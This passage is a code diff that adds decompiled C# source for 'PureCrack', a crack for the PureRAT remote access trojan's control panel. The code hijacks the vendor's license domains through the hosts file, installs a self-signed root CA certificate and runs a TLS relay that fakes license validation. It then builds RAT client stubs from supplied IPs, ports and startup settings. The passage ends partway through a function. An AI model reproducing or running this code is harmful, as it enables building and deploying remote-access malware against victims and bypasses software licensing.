decompiled/PureCrack.Panel/PanelLauncher.cs b/decompiled/purerat decompiled/PureCrack.Panel/PanelLauncher.cs new file mode 100644 index 0000000..36c8f3b --- /dev/null +++ b/decompiled/purerat decompiled/PureCrack.Panel/PanelLauncher.cs @@ -0,0 +1,83 @@ +using System; +using System.Diagnostics; +using System.IO; +using System.Net; +using System.Net.Sockets; +using System.Threading; +using PureCrack.Util; + +namespace PureCrack.Panel; + +public static class PanelLauncher +{ + public static string BundledPanelPath => Path.Combine(Workspace.Root, "panel", "PureRAT.exe"); + + public static string DevPanelPath => Path.GetFullPath(Path.Combine(new string[5] + { + Workspace.Root, + "..", + "..", + "panel", + "PureRAT.exe" + })); + + public static string FindExe() + { + string environmentVariable = Environment.GetEnvironmentVariable("PURE_PANEL_EXE"); + if (!string.IsNullOrEmpty(environmentVariable)) + { + if (File.Exists(environmentVariable)) + { + return environmentVariable; + } + Log.Warn("PURE_PANEL_EXE points at " + environmentVariable + " but file doesn't exist — falling back to bundled"); + } + if (File.Exists(BundledPanelPath)) + { + return BundledPanelPath; + } + if (File.Exists(DevPanelPath)) + { + return DevPanelPath; + } + throw new FileNotFoundException("PureRAT.exe not found. Looked at:\n - " + BundledPanelPath + " (deployed layout)\n - " + DevPanelPath + " (running from bin\\Release\\ in source tree)\nEither copy PureRAT.exe to one of those, or set PURE_PANEL_EXE env var.\nSee " + Path.Combine(Path.GetDirectoryName(BundledPanelPath), "README.md") + " for bundling instructions."); + } + + public static Process Launch(string panelExe) + { + Log.Info("launching panel: " + panelExe); + Process process = Process.Start(new ProcessStartInfo + { + FileName = panelExe, + UseShellExecute = true, + WorkingDirectory = (Path.GetDirectoryName(panelExe) ?? Workspace.Root) + }) ?? throw new InvalidOperationException("Process.Start returned null"); + Log.Ok($"panel started (PID {process.Id})"); + return process; + } + + public static bool WaitForListener(int port, TimeSpan timeout, CancellationToken ct = default(CancellationToken)) + { + DateTime dateTime = DateTime.UtcNow + timeout; + Log.Info($"waiting for panel to bind :{port} (timeout {timeout.TotalSeconds:0}s)"); + int num = 0; + while (DateTime.UtcNow < dateTime && !ct.IsCancellationRequested) + { + num++; + try + { + using TcpClient tcpClient = new TcpClient(); + if (tcpClient.ConnectAsync(IPAddress.Loopback, port).Wait(500, ct) && tcpClient.Connected) + { + Log.Ok($":{port} is up (after {num} probes)"); + return true; + } + } + catch (Exception) + { + } + Thread.Sleep(500); + } + return false; + } +} diff --git a/decompiled/purerat decompiled/PureCrack.Panel/SettingsAutoFix.cs b/decompiled/purerat decompiled/PureCrack.Panel/SettingsAutoFix.cs new file mode 100644 index 0000000..625e073 --- /dev/null +++ b/decompiled/purerat decompiled/PureCrack.Panel/SettingsAutoFix.cs @@ -0,0 +1,152 @@ +using System; +using System.Collections.Generic; +using System.IO; +using System.Text.Json; +using System.Text.Json.Nodes; +using PureCrack.Util; + +namespace PureCrack.Panel; + +public static class SettingsAutoFix +{ + private const string Loopback = "127.0.0.1"; + + private const string BackupSuffix = ".purecrack-backup"; + + public static string? FindSettingsJson(string panelExe) + { + string environmentVariable = Environment.GetEnvironmentVariable("PURE_SETTINGS_JSON"); + if (!string.IsNullOrEmpty(environmentVariable) && File.Exists(environmentVariable)) + { + return environmentVariable; + } + string directoryName = Path.GetDirectoryName(panelExe); + if (directoryName == null) + { + return null; + } + string text = Path.Combine(directoryName, "Settings.json"); + if (!File.Exists(text)) + { + return null; + } + return text; + } + + public static bool ReorderIpsToLoopbackFirst(string settingsPath) + { + //IL_01f5: Unknown result type (might be due to invalid IL or missing references) + //IL_01fc: Expected O, but got Unknown + //IL_0057: Unknown result type (might be due to invalid IL or missing references) + //IL_005d: Unknown result type (might be due to invalid IL or missing references) + //IL_023c: Unknown result type (might be due to invalid IL or missing references) + //IL_0241: Unknown result type (might be due to invalid IL or missing references) + //IL_024d: Expected O, but got Unknown + if (!File.Exists(settingsPath)) + { + Log.Warn("settings: " + settingsPath + " not found"); + return false; + } + string text; + try + { + text = File.ReadAllText(settingsPath); + } + catch (Exception ex) + { + Log.Warn("settings: read failed: " + ex.Message); + return false; + } + JsonNode val; + try + { + val = JsonNode.Parse(text, (JsonNodeOptions?)null, default(JsonDocumentOptions)); + } + catch (Exception ex2) + { + Log.Warn("settings: not valid JSON: " + ex2.Message); + return false; + } + JsonObject val2 = (JsonObject)(object)((val is JsonObject) ? val : null); + if (val2 == null) + { + Log.Warn("settings: top-level isn't a JSON object — skipping reorder"); + return false; + } + string text2 = null; + JsonArray val3 = null; + foreach (KeyValuePair item in val2) + { + if (string.Equals(item.Key, "IPs", StringComparison.OrdinalIgnoreCase)) + { + JsonNode value = item.Value; + JsonArray val4 = (JsonArray)(object)((value is JsonArray) ? value : null); + if (val4 != null) + { + text2 = item.Key; + val3 = val4; + break; + } + } + } + if (text2 == null || val3 == null) + { + Log.Warn("settings: no IPs array — skipping reorder"); + return false; + } + if (val3.Count > 0) + { + JsonNode obj = ((JsonNode)val3)[0]; + if (string.Equals((obj != null) ? obj.GetValue() : null, "127.0.0.1")) + { + Log.Info("settings: 127.0.0.1 already first in " + text2); + return false; + } + } + List list = new List { "127.0.0.1" }; + foreach (JsonNode item2 in val3) + { + if (item2 != null) + { + string value2 = item2.GetValue(); + if (!string.Equals(value2, "127.0.0.1", StringComparison.Ordinal)) + { + list.Add(value2); + } + } + } + string text3 = settingsPath + ".purecrack-backup"; + if (!File.Exists(text3)) + { + try + { + File.Copy(settingsPath, text3); + } + catch (Exception ex3) + { + Log.Warn("settings: backup failed: " + ex3.Message); + } + } + JsonArray val5 = new JsonArray((JsonNodeOptions?)null); + foreach (string item3 in list) + { + val5.Add(item3); + } + ((JsonNode)val2)[text2] = (JsonNode)(object)val5; + string contents = ((JsonNode)val2).ToJsonString(new JsonSerializerOptions + { + WriteIndented = true + }); + try + { + File.WriteAllText(settingsPath, contents); + } + catch (Exception ex4) + { + Log.Err("settings: write failed: " + ex4.Message); + return false; + } + Log.Ok("settings: reordered " + text2 + " → [" + string.Join(",", list) + "]"); + return true; + } +} diff --git a/decompiled/purerat decompiled/PureCrack.Relay/CaptureWriter.cs b/decompiled/purerat decompiled/PureCrack.Relay/CaptureWriter.cs new file mode 100644 index 0000000..b9330db --- /dev/null +++ b/decompiled/purerat decompiled/PureCrack.Relay/CaptureWriter.cs @@ -0,0 +1,80 @@ +using System; +using System.IO; +using System.Text; +using PureCrack.Util; +using PureCrack.Wire; + +namespace PureCrack.Relay; + +public static class CaptureWriter +{ + public static string Dump(string path, byte[] rawBody, byte[]? plaintext) + { + string text = DateTime.Now.ToString("yyyyMMdd_HHmmss"); + string text2 = SanitizePathForFilename(path); + string text3 = Path.Combine(Workspace.CapturesDir, text + "_" + text2); + File.WriteAllBytes(text3 + ".raw.bin", rawBody); + if (plaintext != null) + { + File.WriteAllBytes(text3 + ".pt.bin", plaintext); + File.WriteAllText(text3 + ".pt.txt", BuildPrettyDump(path, plaintext), Encoding.UTF8); + } + return text3; + } + + private static string BuildPrettyDump(string path, byte[] pt) + { + StringBuilder stringBuilder = new StringBuilder(pt.Length * 4); + stringBuilder.Append("URL: ").Append(path).Append('\n'); + stringBuilder.Append("Decrypted ").Append(pt.Length).Append(" bytes\n\nHEX:\n"); + for (int i = 0; i < pt.Length; i += 32) + { + int num = Math.Min(32, pt.Length - i); + stringBuilder.Append(i.ToString("x4")).Append(" "); + for (int j = 0; j < num; j++) + { + stringBuilder.Append(pt[i + j].ToString("x2")).Append(' '); + } + for (int k = num; k < 32; k++) + { + stringBuilder.Append(" "); + } + stringBuilder.Append(" |"); + for (int l = 0; l < num; l++) + { + byte b = pt[i + l]; + stringBuilder.Append((char)((b >= 32 && b < 127) ? b : 46)); + } + stringBuilder.Append("|\n"); + } + stringBuilder.Append("\nPROTOBUF TREE:\n"); + try + { + stringBuilder.Append(ProtoNet.Dump(pt)); + } + catch (Exception ex) + { + stringBuilder.Append("\n"); + } + return stringBuilder.ToString(); + } + + private static string SanitizePathForFilename(string path) + { + string text = path.Replace('/', '_').Trim(new char[1] { '_' }); + char[] invalidFileNameChars = Path.GetInvalidFileNameChars(); + foreach (char oldChar in invalidFileNameChars) + { + text = text.Replace(oldChar, '_'); + } + if (text.Length == 0) + { + text = "root"; + } + if (text.Length > 80) + { + text = text.Substring(0, 80); + } + return text; + } +} diff --git a/decompiled/purerat decompiled/PureCrack.Relay/RouteHandlers.cs b/decompiled/purerat decompiled/PureCrack.Relay/RouteHandlers.cs new file mode 100644 index 0000000..06a0351 --- /dev/null +++ b/decompiled/purerat decompiled/PureCrack.Relay/RouteHandlers.cs @@ -0,0 +1,173 @@ +using System; +using System.Collections.Generic; +using System.Diagnostics; +using System.IO; +using PureCrack.Build; +using PureCrack.Util; +using PureCrack.Wire; + +namespace PureCrack.Relay; + +public sealed class RouteHandlers +{ + private sealed class BuildSettings + { + public List Ips { get; init; } = new List(); + + public List Ports { get; init; } = new List(); + + public string? CertBase64 { get; init; } + + public string? Group { get; init; } + + public string? PanelPfxBase64 { get; init; } + + public string? StartupName { get; init; } + + public string? StartupEnv { get; init; } + + public string? Mutex { get; init; } + } + + private readonly byte[] _cannedCompile; + + public byte[] ValidatePb { get; } + + public RouteHandlers(byte[] agentPfxBytes, byte[] cannedCompileResponse) + { + ValidatePb = BuildValidateResponse(agentPfxBytes); + _cannedCompile = cannedCompileResponse; + } + + private static byte[] BuildValidateResponse(byte[] agentPfxBytes) + { + string s = Convert.ToBase64String(agentPfxBytes); + byte[] body = ProtoNet.FSub(7, ProtoNet.FString(2, s)); + byte[] body2 = Concat(ProtoNet.FInt(1, 1L), ProtoNet.FString(2, ""), ProtoNet.FString(3, ""), ProtoNet.FString(5, ""), ProtoNet.FString(7, "PureRAT v4.0 - any-key mode"), ProtoNet.FString(9, "Welcome!"), ProtoNet.FSub(10, body), ProtoNet.FString(11, "HWID Changes: 1 of 9999 used"), ProtoNet.FString(12, ""), ProtoNet.FString(13, "Expires in 9999 days")); + return ProtoNet.FSub(2, body2); + } + + public byte[] Compile(byte[]? plaintext, bool dynamicBuildEnabled) + { + if (plaintext != null && dynamicBuildEnabled) + { + try + { + byte[] array = BuildDynamic(plaintext); + if (array != null) + { + return array; + } + } + catch (Exception ex) + { + Log.Err("dyn-build failed: " + ex.Message); + } + Log.Warn("falling back to canned /compile response"); + } + return _cannedCompile; + } + + private static byte[]? BuildDynamic(byte[] plaintext) + { + BuildSettings buildSettings = ExtractBuildSettings(plaintext); + if (buildSettings.Ips.Count == 0 || buildSettings.Ports.Count == 0) + { + Log.Warn("dyn-build: panel did not include IPs/Ports — using canned"); + return null; + } + string text = ((!string.IsNullOrEmpty(buildSettings.PanelPfxBase64)) ? buildSettings.PanelPfxBase64 : buildSettings.CertBase64); + BuildConfig buildConfig = new BuildConfig + { + Ips = buildSettings.Ips, + Ports = buildSettings.Ports, + CertPfxBase64 = (text ?? ""), + Group = (buildSettings.Group ?? "Default"), + Mutex = (buildSettings.Mutex ?? "purecrack-default"), + StartupName = (buildSettings.StartupName ?? ""), + StartupEnv = (buildSettings.StartupEnv ?? "") + }; + Log.Info("dyn-build: ips=[" + string.Join(",", buildConfig.Ips) + "] ports=[" + string.Join(",", buildConfig.Ports) + "] group=" + buildConfig.Group + " mutex=" + buildConfig.Mutex); + byte[] array = StubBuilder.Build(buildConfig); + string arg = DateTime.Now.ToString("yyyyMMdd_HHmmss"); + string text2 = Path.Combine(Workspace.StubsDir, $"stub_{arg}_{Process.GetCurrentProcess().Id}.exe"); + File.WriteAllBytes(text2, array); + Log.Ok($"dyn-build: wrote {array.Length:N0}b stub to {text2}"); + byte[] body = Concat(ProtoNet.FInt(1, 1L), ProtoNet.FString(2, ""), ProtoNet.FBytes(3, array), ProtoNet.FString(5, ""), ProtoNet.FInt(6, 1L)); + return ProtoNet.FSub(4, body); + } + + private static BuildSettings ExtractBuildSettings(byte[] plaintext) + { + BuildSettings result = new BuildSettings(); + try + { + byte[] array = ProtoNet.FirstSub(ProtoNet.Parse(plaintext), 3); + if (array == null) + { + return result; + } + byte[] array2 = ProtoNet.FirstSub(ProtoNet.Parse(array), 5); + if (array2 == null) + { + return result; + } + byte[] array3 = ProtoNet.FirstSub(ProtoNet.Parse(array2), 9); + if (array3 == null) + { + return result; + } + Dictionary> parsed = ProtoNet.Parse(array3); + return new BuildSettings + { + Ips = ProtoNet.GetStrings(parsed, 1), + Ports = ConvertToInts(ProtoNet.GetInts(parsed, 2)), + CertBase64 = ProtoNet.FirstString(parsed, 3), + Group = ProtoNet.FirstString(parsed, 4, "Default"), + PanelPfxBase64 = ProtoNet.FirstString(parsed, 10), + StartupName = ProtoNet.FirstString(parsed, 11), + StartupEnv = ProtoNet.FirstString(parsed, 12), + Mutex = ProtoNet.FirstString(parsed, 14, "purecrack-default") + }; + } + catch (Exception ex) + { + Log.Warn("extract: parse err: " + ex.Message); + return result; + } + } + + private static List ConvertToInts(List longs) + { + List list = new List(longs.Count); + foreach (long @long in longs) + { + list.Add((int)@long); + } + return list; + } + + public static byte[] AckResponse() + { + return ProtoNet.FSub(2, ProtoNet.FInt(1, 1L)); + } + + private static byte[] Concat(params byte[][] chunks) + { + int num = 0; + byte[][] array = chunks; + foreach (byte[] array2 in array) + { + num += array2.Length; + } + byte[] array3 = new byte[num]; + int num2 = 0; + array = chunks; + foreach (byte[] array4 in array) + { + Buffer.BlockCopy(array4, 0, array3, num2, array4.Length); + num2 += array4.Length; + } + return array3; + } +} diff --git a/decompiled/purerat decompiled/PureCrack.Relay/TlsRelay.cs b/decompiled/purerat decompiled/PureCrack.Relay/TlsRelay.cs new file mode 100644 index 0000000..7415ca2 --- /dev/null +++ b/decompiled/purerat decompiled/PureCrack.Relay/TlsRelay.cs @@ -0,0 +1,289 @@ +using System; +using System.IO; +using System.Net; +using System.Net.Security; +using System.Net.Sockets; +using System.Security.Authentication; +using System.Security.Cryptography.X509Certificates; +using System.Text; +using System.Threading; +using PureCrack.Crypto; +using PureCrack.Util; + +namespace PureCrack.Relay; + +public sealed class TlsRelay : IDisposable +{ + private readonly X509Certificate2 _serverCert; + + private readonly RouteHandlers _routes; + + private readonly TcpListener _listener; + + private readonly CancellationTokenSource _cts; + + private Thread? _acceptThread; + + private int _requestCount; + + public const int DefaultPort = 443; + + private const int MaxBodyBytes = 16777216; + + public bool DynamicBuildEnabled { get; set; } = true; + + public TlsRelay(X509Certificate2 serverCert, RouteHandlers routes, IPAddress? bindAddress = null, int port = 443) + { + _serverCert = serverCert ?? throw new ArgumentNullException("serverCert"); + _routes = routes ?? throw new ArgumentNullException("routes"); + _listener = new TcpListener(bindAddress ?? IPAddress.Any, port); + _cts = new CancellationTokenSource(); + } + + public void Start() + { + if (_acceptThread == null) + { + _listener.Start(); + Log.Ok($"relay LISTEN on {_listener.LocalEndpoint}"); + _acceptThread = new Thread(AcceptLoop) + { + IsBackground = true, + Name = "TlsRelay-accept" + }; + _acceptThread.Start(); + } + } + + public void Stop() + { + if (!_cts.IsCancellationRequested) + { + _cts.Cancel(); + try + { + _listener.Stop(); + } + catch + { + } + _acceptThread?.Join(TimeSpan.FromSeconds(2.0)); + Log.Info("relay stopped"); + } + } + + public void Dispose() + { + Stop(); + _cts.Dispose(); + _serverCert.Dispose(); + } + + private void AcceptLoop() + { + while (!_cts.IsCancellationRequested) + { + TcpClient state; + try + { + state = _listener.AcceptTcpClient(); + } + catch (SocketException) when (_cts.IsCancellationRequested) + { + break; + } + catch (ObjectDisposedException) + { + break; + } + catch (Exception ex3) + { + Log.Err("accept: " + ex3.Message); + continue; + } + ThreadPool.QueueUserWorkItem(delegate(object obj) + { + HandleConnection((TcpClient)obj); + }, state); + } + } + + private void HandleConnection(TcpClient client) + { + int num = Interlocked.Increment(ref _requestCount); + string arg = client.Client.RemoteEndPoint?.ToString() ?? "?"; + Log.Section($"#{num} from {arg}"); + try + { + client.ReceiveTimeout = 15000; + client.SendTimeout = 15000; + using SslStream sslStream = new SslStream(client.GetStream(), leaveInnerStreamOpen: false); + try + { + sslStream.AuthenticateAsServer(_serverCert, clientCertificateRequired: false, SslProtocols.Tls12, checkCertificateRevocation: false); + } + catch (Exception ex) + { + Log.Warn("TLS handshake failed: " + ex.Message); + return; + } + var (text, array) = ReadHttpRequest(sslStream); + Log.Bullet("path: " + text); + Log.Bullet($"body: {array.Length}b"); + byte[] array2 = TryDecrypt(array); + if (array2 != null) + { + Log.Bullet($"decrypt OK: {array2.Length}b"); + } + string path = CaptureWriter.Dump(text, array, array2); + Log.Bullet("dumped: " + Path.GetFileName(path)); + var (array3, text2) = Route(text, array2); + Log.Bullet($"resp: {text2} ({array3.Length}b)"); + SendResponse(sslStream, array3); + Log.Ok("sent " + text2); + } + catch (Exception ex2) + { + Log.Err("handler: " + ex2.Message); + } + finally + { + try + { + client.Close(); + } + catch + { + } + } + } + + private static (string path, byte[] body) ReadHttpRequest(Stream s) + { + using MemoryStream memoryStream = new MemoryStream(); + byte[] array = new byte[4096]; + int num; + for (num = -1; num < 0; num = FindHeaderEnd(memoryStream.GetBuffer(), (int)memoryStream.Length)) + { + int num2 = s.Read(array, 0, array.Length); + if (num2 <= 0) + { + break; + } + memoryStream.Write(array, 0, num2); + if (memoryStream.Length > 65536) + { + throw new InvalidOperationException("HTTP headers exceed 64 KB"); + } + } + if (num < 0) + { + throw new InvalidOperationException("HTTP request truncated before \\r\\n\\r\\n"); + } + byte[] array2 = new byte[num]; + Buffer.BlockCopy(memoryStream.GetBuffer(), 0, array2, 0, num); + string text = Encoding.UTF8.GetString(array2); + int result = 0; + string item = "/"; + string[] array3 = text.Split(new string[1] { "\r\n" }, StringSplitOptions.None); + foreach (string text2 in array3) + { + if (text2.StartsWith("POST ", StringComparison.Ordinal) || text2.StartsWith("GET ", StringComparison.Ordinal)) + { + string[] array4 = text2.Split(new char[1] { ' ' }); + if (array4.Length >= 2) + { + item = array4[1]; + } + } + else if (text2.StartsWith("Content-Length:", StringComparison.OrdinalIgnoreCase)) + { + int.TryParse(text2.Substring("Content-Length:".Length).Trim(), out result); + } + } + if (result < 0 || result > 16777216) + { + throw new InvalidOperationException($"refusing body of size {result}"); + } + int num3 = num + 4; + int num4 = (int)memoryStream.Length - num3; + byte[] array5 = new byte[result]; + if (num4 > 0) + { + int num5 = Math.Min(num4, result); + Buffer.BlockCopy(memoryStream.GetBuffer(), num3, array5, 0, num5); + num4 = num5; + } + int j; + int num6; + for (j = Math.Max(0, num4); j < result; j += num6) + { + num6 = s.Read(array5, j, result - j); + if (num6 <= 0) + { + break; + } + } + if (j < result) + { + Log.Warn($"body truncated: got {j} of {result}"); + } + return (path: item, body: array5); + } + + private static int FindHeaderEnd(byte[] buf, int len) + { + for (int i = 0; i <= len - 4; i++) + { + if (buf[i] == 13 && buf[i + 1] == 10 && buf[i + 2] == 13 && buf[i + 3] == 10) + { + return i; + } + } + return -1; + } + + private static byte[]? TryDecrypt(byte[] body) + { + if (body.Length < 32) + { + return null; + } + try + { + return Symmetric.AesDecryptFraming(body); + } + catch (Exception ex) + { + Log.Warn("decrypt err: " + ex.Message); + return null; + } + } + + private (byte[] body, string label) Route(string path, byte[]? plaintext) + { + if (path.IndexOf("/validate", StringComparison.OrdinalIgnoreCase) >= 0) + { + return (body: _routes.ValidatePb, label: "validate"); + } + if (path.IndexOf("/compile", StringComparison.OrdinalIgnoreCase) >= 0) + { + return (body: _routes.Compile(plaintext, DynamicBuildEnabled), label: (plaintext != null && DynamicBuildEnabled) ? "compile-dynamic" : "compile-canned"); + } + if (path.IndexOf("/heartbeat", StringComparison.OrdinalIgnoreCase) >= 0 || path.IndexOf("/update-plugins", StringComparison.OrdinalIgnoreCase) >= 0) + { + return (body: RouteHandlers.AckResponse(), label: "ack"); + } + return (body: _routes.ValidatePb, label: "fallback-validate"); + } + + private static void SendResponse(Stream s, byte[] responsePb) + { + byte[] array = Symmetric.AesEncryptFraming(responsePb); + string s2 = "HTTP/1.1 200 OK\r\nContent-Type: application/octet-stream\r\n" + $"Content-Length: {array.Length}\r\n" + "Connection: close\r\n\r\n"; + byte[] bytes = Encoding.ASCII.GetBytes(s2); + s.Write(bytes, 0, bytes.Length); + s.Write(array, 0, array.Length); + s.Flush(); + } +} diff --git a/decompiled/purerat decompiled/PureCrack.Setup/CertManager.cs b/decompiled/purerat decompiled/PureCrack.Setup/CertManager.cs new file mode 100644 index 0000000..a393b19 --- /dev/null +++ b/decompiled/purerat decompiled/PureCrack.Setup/CertManager.cs @@ -0,0 +1,138 @@ +using System; +using System.IO; +using System.Security.Cryptography; +using System.Security.Cryptography.X509Certificates; +using PureCrack.Util; + +namespace PureCrack.Setup; + +public static class CertManager +{ + private static readonly TimeSpan ValidityWindow = TimeSpan.FromDays(3650.0); + + private static readonly TimeSpan RegenIfWithin = TimeSpan.FromDays(30.0); + + public static string RelayPfxPath => Path.Combine(Workspace.DataDir, "relay.pfx"); + + public static string AgentPfxPath => Path.Combine(Workspace.DataDir, "agent.pfx"); + + public static X509Certificate2 EnsureRelayCert() + { + X509Certificate2 x509Certificate = LoadIfFresh(RelayPfxPath, "relay cert"); + if (x509Certificate != null) + { + return x509Certificate; + } + Log.Info("relay cert: generating self-signed SAN cert"); + using RSA key = RSA.Create(2048); + CertificateRequest certificateRequest = new CertificateRequest("CN=api.purecoder.io, O=PureCrack, OU=Relay", key, HashAlgorithmName.SHA256, RSASignaturePadding.Pkcs1); + SubjectAlternativeNameBuilder subjectAlternativeNameBuilder = new SubjectAlternativeNameBuilder(); + subjectAlternativeNameBuilder.AddDnsName("api.purecoder.io"); + subjectAlternativeNameBuilder.AddDnsName("api1.purecoder.io"); + subjectAlternativeNameBuilder.AddDnsName("api2.purecoder.io"); + subjectAlternativeNameBuilder.AddDnsName("*.purecoder.io"); + certificateRequest.CertificateExtensions.Add(subjectAlternativeNameBuilder.Build()); + certificateRequest.CertificateExtensions.Add(new X509BasicConstraintsExtension(certificateAuthority: true, hasPathLengthConstraint: false, 0, critical: true)); + certificateRequest.CertificateExtensions.Add(new X509KeyUsageExtension(X509KeyUsageFlags.KeyCertSign | X509KeyUsageFlags.KeyEncipherment | X509KeyUsageFlags.DigitalSignature, critical: true)); + byte[] array = certificateRequest.CreateSelfSigned(DateTimeOffset.UtcNow.AddDays(-1.0), DateTimeOffset.UtcNow.Add(ValidityWindow)).Export(X509ContentType.Pfx, ""); + File.WriteAllBytes(RelayPfxPath, array); + Log.Ok($"relay cert: written to {RelayPfxPath} ({array.Length:N0}b)"); + X509Certificate2 x509Certificate2 = new X509Certificate2(array, "", X509KeyStorageFlags.MachineKeySet | X509KeyStorageFlags.PersistKeySet); + InstallToRoot(x509Certificate2); + return x509Certificate2; + } + + public static byte[] EnsureAgentCertPfxBytes() + { + if (File.Exists(AgentPfxPath)) + { + try + { + X509Certificate2 x509Certificate = new X509Certificate2(AgentPfxPath, ""); + if (x509Certificate.NotAfter > DateTime.UtcNow.Add(RegenIfWithin)) + { + Log.Info($"agent cert: reusing existing (expires {x509Certificate.NotAfter:yyyy-MM-dd})"); + return File.ReadAllBytes(AgentPfxPath); + } + TimeSpan regenIfWithin = RegenIfWithin; + Log.Warn($"agent cert: expires within {regenIfWithin.TotalDays:0} days, regenerating"); + } + catch (Exception ex) + { + Log.Warn("agent cert: existing PFX unreadable, regenerating (" + ex.Message + ")"); + } + } + Log.Info("agent cert: generating self-signed PureRAT Agent cert"); + using RSA key = RSA.Create(2048); + using X509Certificate2 x509Certificate2 = new CertificateRequest("CN=PureRAT Agent", key, HashAlgorithmName.SHA256, RSASignaturePadding.Pkcs1).CreateSelfSigned(DateTimeOffset.UtcNow.AddDays(-1.0), DateTimeOffset.UtcNow.Add(ValidityWindow)); + byte[] array = x509Certificate2.Export(X509ContentType.Pfx, ""); + File.WriteAllBytes(AgentPfxPath, array); + Log.Ok($"agent cert: written to {AgentPfxPath} ({array.Length:N0}b)"); + return array; + } + + public static void Wipe() + { + string[] array = new string[2] { RelayPfxPath, AgentPfxPath }; + foreach (string text in array) + { + if (File.Exists(text)) + { + File.Delete(text); + Log.Bullet("cert: removed " + text); + } + } + } + + private static X509Certificate2? LoadIfFresh(string pfxPath, string label) + { + if (!File.Exists(pfxPath)) + { + return null; + } + try + { + X509Certificate2 x509Certificate = new X509Certificate2(pfxPath, "", X509KeyStorageFlags.MachineKeySet | X509KeyStorageFlags.PersistKeySet); + if (x509Certificate.NotAfter > DateTime.UtcNow.Add(RegenIfWithin)) + { + Log.Info($"{label}: reusing existing (expires {x509Certificate.NotAfter:yyyy-MM-dd}, " + "thumbprint " + x509Certificate.Thumbprint.Substring(0, 12) + "…)"); + return x509Certificate; + } + TimeSpan regenIfWithin = RegenIfWithin; + Log.Warn($"{label}: expires within {regenIfWithin.TotalDays:0} days, regenerating"); + return null; + } + catch (Exception ex) + { + Log.Warn(label + ": existing PFX unreadable, regenerating (" + ex.Message + ")"); + return null; + } + } + + private static void InstallToRoot(X509Certificate2 cert) + { + try + { + using X509Store x509Store = new X509Store(StoreName.Root, StoreLocation.LocalMachine); + x509Store.Open(OpenFlags.ReadWrite); + X509Certificate2Enumerator enumerator = x509Store.Certificates.Find(X509FindType.FindBySubjectDistinguishedName, cert.SubjectName.Name, validOnly: false).GetEnumerator(); + while (enumerator.MoveNext()) + { + X509Certificate2 current = enumerator.Current; + if (!(current.Thumbprint == cert.Thumbprint) && current.NotAfter < DateTime.UtcNow.AddYears(1)) + { + x509Store.Remove(current); + Log.Bullet("relay cert: pruned stale Root entry (thumbprint " + current.Thumbprint.Substring(0, 12) + "…)"); + } + } + x509Store.Add(cert); + x509Store.Close(); + Log.Ok("relay cert: installed in LocalMachine\\Root (thumbprint " + cert.Thumbprint.Substring(0, 12) + "…)"); + } + catch (Exception ex) + { + Log.Err("relay cert: failed to install to Root store: " + ex.Message); + throw; + } + } +} diff --git a/decompiled/purerat decompiled/PureCrack.Setup/HostsManager.cs b/decompiled/purerat decompiled/PureCrack.Setup/HostsManager.cs new file mode 100644 index 0000000..60045ea --- /dev/null +++ b/decompiled/purerat decompiled/PureCrack.Setup/HostsManager.cs @@ -0,0 +1,182 @@ +using System; +using System.Collections.Generic; +using System.Diagnostics; +using System.IO; +using System.Linq; +using PureCrack.Util; + +namespace PureCrack.Setup; + +public static class HostsManager +{ + private const string HostsPath = "C:\\Windows\\System32\\drivers\\etc\\hosts"; + + private const string BackupSuffix = ".purecrack-backup"; + + public static readonly string[] Domains = new string[3] { "api.purecoder.io", "api1.purecoder.io", "api2.purecoder.io" }; + + public static string Path => "C:\\Windows\\System32\\drivers\\etc\\hosts"; + + public static string BackupPath => "C:\\Windows\\System32\\drivers\\etc\\hosts.purecrack-backup"; + + public static bool Ensure() + { + if (!File.Exists("C:\\Windows\\System32\\drivers\\etc\\hosts")) + { + throw new FileNotFoundException("C:\\Windows\\System32\\drivers\\etc\\hosts missing — Windows install looks broken"); + } + string content = File.ReadAllText("C:\\Windows\\System32\\drivers\\etc\\hosts"); + HashSet present = ScanPresent(content); + List list = Domains.Where((string d) => !present.Contains(d)).ToList(); + if (list.Count == 0) + { + Log.Info($"hosts: all {Domains.Length} entries already present"); + return false; + } + if (!File.Exists(BackupPath)) + { + File.Copy("C:\\Windows\\System32\\drivers\\etc\\hosts", BackupPath); + Log.Bullet("hosts: backup saved to " + BackupPath); + } + string text = EnsureTrailingNewline(content); + foreach (string item in list) + { + text = text + "127.0.0.1 " + item + "\n"; + Log.Bullet("hosts: add 127.0.0.1 " + item); + } + File.WriteAllText("C:\\Windows\\System32\\drivers\\etc\\hosts", text); + FlushDns(); + return true; + } + + public static void Remove() + { + if (!File.Exists("C:\\Windows\\System32\\drivers\\etc\\hosts")) + { + return; + } + string[] array = File.ReadAllLines("C:\\Windows\\System32\\drivers\\etc\\hosts"); + List list = new List(array.Length); + int num = 0; + string[] array2 = array; + foreach (string text in array2) + { + string trimmed = text.Trim(); + if (trimmed.StartsWith("#") || trimmed.Length == 0) + { + list.Add(text); + } + else if (Domains.Any((string d) => LineMapsDomainToLoopback(trimmed, d))) + { + num++; + } + else + { + list.Add(text); + } + } + if (num > 0) + { + File.WriteAllText("C:\\Windows\\System32\\drivers\\etc\\hosts", string.Join("\n", list)); + Log.Ok($"hosts: removed {num} entries"); + FlushDns(); + } + } + + public static bool IsWritable() + { + try + { + using (File.Open("C:\\Windows\\System32\\drivers\\etc\\hosts", FileMode.Open, FileAccess.ReadWrite, FileShare.ReadWrite)) + { + return true; + } + } + catch (UnauthorizedAccessException) + { + return false; + } + catch (IOException) + { + return false; + } + } + + private static HashSet ScanPresent(string content) + { + HashSet hashSet = new HashSet(StringComparer.OrdinalIgnoreCase); + string[] array = content.Split(new char[1] { '\n' }); + for (int i = 0; i < array.Length; i++) + { + string text = array[i].Trim(); + if (text.Length == 0 || text.StartsWith("#")) + { + continue; + } + string[] domains = Domains; + foreach (string text2 in domains) + { + if (LineMapsDomainToLoopback(text, text2)) + { + hashSet.Add(text2); + } + } + } + return hashSet; + } + + private static bool LineMapsDomainToLoopback(string line, string domain) + { + string[] array = line.Split(new char[2] { ' ', '\t' }, StringSplitOptions.RemoveEmptyEntries); + if (array.Length < 2) + { + return false; + } + if (!array[0].StartsWith("127.")) + { + return false; + } + for (int i = 1; i < array.Length; i++) + { + string text = array[i]; + if (text.StartsWith("#")) + { + break; + } + if (string.Equals(text, domain, StringComparison.OrdinalIgnoreCase)) + { + return true; + } + } + return false; + } + + private static string EnsureTrailingNewline(string content) + { + if (content.Length != 0 && content[content.Length - 1] != '\n') + { + return content + "\n"; + } + return content; + } + + private static void FlushDns() + { + try + { + using Process process = Process.Start(new ProcessStartInfo("ipconfig", "/flushdns") + { + UseShellExecute = false, + CreateNoWindow = true, + RedirectStandardOutput = true, + RedirectStandardError = true + }); + 